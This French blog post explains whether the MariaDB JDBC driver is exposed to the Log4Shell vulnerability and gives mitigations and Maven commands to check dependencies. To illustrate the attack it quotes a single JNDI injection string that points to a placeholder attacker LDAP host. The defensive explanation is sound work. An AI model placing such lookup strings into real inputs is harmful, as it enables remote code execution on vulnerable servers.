MariaDB
 sql >> Base de données >  >> RDS >> MariaDB

Le pilote MariaDB JDBC est-il affecté par la vulnérabilité Log4j ?

Le connecteur Java MariaDB est-il affecté par la faille de sécurité récemment découverte dans Log4 ? Par défaut, le connecteur Java n'utilise pas Log4j. Cependant, si vous l'avez configuré pour utiliser SLF4j, continuez à lire.

Pour plus d'informations au-delà de la portée du pilote MariaDB JDBC, lisez Log4Shell et MariaDB.

Remarque  :Ce blog a été mis à jour le 15/12/2021 pour inclure des détails concernant CVE-2021-45046.

La vulnérabilité Log4j

Apache Log4j est un framework de journalisation open source populaire pour les applications Java. Il est utilisé dans une variété de projets open source et d'entreprise, y compris les fournisseurs de cloud et les fournisseurs de services de messagerie. Le 9 décembre 2021, une vulnérabilité de 0 jour a été trouvée dans Log4j qui pourrait entraîner l'exécution de code à distance, permettant à un pirate d'exécuter du code arbitraire dans un système. La vulnérabilité est connue sous le nom de "Log4Shell" et est suivie comme CVE-2021-44228.

En bref, la vulnérabilité permet à un attaquant d'injecter une chaîne de recherche JNDI qui invoque, par exemple, un serveur LDAP distant (contrôlé par l'attaquant) qui à son tour renvoie une classe Java illicite :

${jndi:ldap://[attacker_site]/[malicious_java_class]}

Si une chaîne comme celle-ci est journalisée par Log4j, une classe Java illicite peut exécuter du code arbitraire (via un bloc de code statique, par exemple).

Versions concernées

Heureusement, seules les versions 2.x de Log4j antérieures à 2.15.0 sont concernées. Consultez la page sur les vulnérabilités de sécurité d'Apache Log4j pour plus d'informations. La vulnérabilité n'est pas présente dans les versions 1.x de Log4j.

Comment atténuer CVE-2021-44228

La meilleure stratégie pour atténuer la vulnérabilité consiste à mettre à jour la dépendance Log4j dans vos projets. La version 2.16.0, qui supprime les recherches de messages, est déjà disponible. Bravo à l'équipe pour avoir publié cela rapidement.

Mettre à jour :Log4j 2.16.0 corrige également la deuxième vulnérabilité identifiée comme CVE-2021-45046.

Le pilote MariaDB JDBC n'utilise pas Log4j 2.x. Cependant, il prend en charge SLF4J. Vérifiez si vous utilisez ou non le classeur Log4j pour SLF4J, et si c'est le cas, mettez à niveau Log4j en conséquence ou définissez la variable de configuration suivante :

-Dlog4j2.formatMsgNoLookups=true

Ou définissez la variable d'environnement suivante :

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Remarque  :La journalisation n'est activée que lorsqu'elle est explicitement définie par le log paramètre. Outre Log4j, vous pouvez également opter pour d'autres liaisons SLF4J telles que Jakarta Commons Logging, Logback ou l'API Java Logging.

Si vous utilisez Maven, vous pouvez exécuter la commande suivante pour savoir si votre projet dépend de Log4j :

mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core

Voici un exemple du type de sortie que vous obtiendrez dans un projet vulnérable :

Si, pour une raison quelconque, votre projet ne se compile pas, vous pouvez également exécuter :

mvn help:effective-pom

Recherchez le log4j-core dépendance et vérifiez la version utilisée.

Informations supplémentaires

Liste des liens du blog :

  • Connecteur Java MariaDB
  • SLF4j
  • Blog connexe Log4Shell et MariaDB
  • CVE-2021-44228
  • Vulnérabilités de sécurité Apache Log4j
  • Apache Log4j version 2.16.0
  • log paramètre